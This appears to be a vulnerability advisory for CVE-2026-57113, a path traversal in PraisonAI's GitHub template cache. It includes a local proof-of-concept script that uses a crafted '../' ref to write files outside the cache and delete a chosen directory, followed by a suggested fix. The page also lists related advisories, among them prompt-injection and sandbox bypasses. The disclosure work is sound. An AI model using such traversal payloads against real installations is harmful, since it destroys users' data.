CVE-2026-57113: PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion
Summary PraisonAI's template loader accepts GitHub template URIs with refs, for example github:owner/repo/[email protected]. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into ~/.praison/cache/templates/github/ / / / without normalizing each segment or checking that the final path remains inside the template cache root.
Published Jun 18, 2026 · Updated Jul 20, 2026
Affected packages
praisonai
- Ecosystem
- PyPI
- Affected
- >= 2.6.0, <= 4.6.57
- Fixed in
- 4.6.59
- Check
pip show praisonai
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
PraisonAI's template loader accepts GitHub template URIs with refs, for example github:owner/repo/[email protected]. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into ~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without normalizing each segment or checking that the final path remains inside the template cache root.
A crafted ref such as ../../../../../../outside-delete-target therefore escapes the cache directory. The first load can write .cache_meta.json outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches shutil.rmtree(cache_path) and removes an attacker-selected outside directory before replacing it with cache metadata.
This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs.
Affected versions
Confirmed vulnerable:
v2.6.0v3.9.24v3.9.26v4.5.126v4.5.128v4.6.9v4.6.10v4.6.56v4.6.57- current head
2f9677abb2ea68eab864ee8b6a828fd0141612e1
Recommended affected range: >= 2.6.0, <= 4.6.57.
No fixed version is known at the time of this report.
Impact
An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can:
- create
.cache_meta.jsonoutside the template cache directory; - delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix;
- corrupt user configuration, project state, or application data reachable by the process permissions.
Root cause
Current-head code path:
praisonai/templates/resolver.py:GITHUB_PATTERNcapturespathandrefwith broad regex groups and returns them without segment validation.praisonai/templates/security.py:is_source_allowed()allows GitHub sources by default whenallow_any_githubis true.praisonai/templates/registry.py:get_template()resolves a GitHub URI, fetches the template, calculates a checksum, then callsself.cache.put(...).praisonai/templates/cache.py:_get_cache_path()builds the cache path asself.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref.praisonai/templates/cache.py:put()removes an existingcache_pathwithshutil.rmtree(cache_path), recreates it, copies content, and writes.cache_meta.json.
There is no check equivalent to:
- reject absolute path segments;
- reject
./..in owner, repo, template path, or ref; - resolve the candidate path;
- require
os.path.commonpath([cache_root, candidate]) == cache_root.
Local-only PoV
Run from a PraisonAI source checkout:
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry
def loader(cache_dir):
cache = TemplateCache(cache_dir=cache_dir)
registry = TemplateRegistry(cache=cache, offline=False)
registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
RuntimeError("network disabled")
)
return TemplateLoader(cache=cache, registry=registry)
with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
root = Path(tmp)
cache_dir = root / "cache" / "templates"
write_target = root / "outside-write-target"
loader(cache_dir).load(
"github:attacker/repo/template@../../../../../../outside-write-target"
)
delete_target = root / "outside-delete-target"
delete_target.mkdir()
canary = delete_target / "canary.txt"
canary.write_text("delete-me")
ldr = loader(cache_dir)
ldr.load("github:attacker/repo/template@main")
ldr.load(
"github:attacker/repo/template@../../../../../../outside-delete-target"
)
safe_target = root / "safe-control"
safe_target.mkdir()
safe_canary = safe_target / "canary.txt"
safe_canary.write_text("must-remain")
loader(root / "safe-cache" / "templates").load(
"github:attacker/repo/template@main"
)
print("outside metadata written:", (write_target / ".cache_meta.json").exists())
print("outside canary exists after malicious ref:", canary.exists())
print("safe canary exists after normal ref:", safe_canary.exists())Expected output:
outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: TrueThe PoV uses only temporary directories and disables network fetches.
I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless.
Release sweep
The same PoV was run against checked-out tags:
praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= Truegit log shows the affected template cache/resolver/registry files were added in the v2.6.0 release commit e7a8ce8e.
Suggested fix
Validate every cache path segment before joining:
- owner and repo: strict GitHub owner/repo-name regex;
- template path: split on
/and reject empty,.,.., and absolute forms; - ref: reject
/, path separators, empty segments,.,.., and absolute forms, or encode/hash the ref before using it in a filesystem path.
Then enforce a final boundary check:
cache_root = self.cache_dir.resolve()
candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
raise ValueError("template cache path escapes cache root")A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments.
Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.
Credited to rexpository.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-61438
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
high7.3Oct 29, 2026CVE-2026-60085
PraisonAI: SecurityPolicy command/path/import restrictions are completely unenforced by the default SubprocessSandbox backend
high8.7Oct 8, 2026CVE-2026-60086
PraisonAI: Prompt-injection defense blocks only when 3+ detector families fire simultaneously; realistic single-vector injections pass through unblocked
medium5.3Oct 8, 2026CVE-2026-60088
PraisonAI: Project custom command templates can read outside-workspace files into model prompts
medium5.5Oct 8, 2026CVE-2026-60090
PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL
mediumOct 8, 2026CVE-2026-60091
PraisonAI: Jobs API is unauthenticated by default and allows attacker-controlled webhook SSRF
high7.2Oct 8, 2026
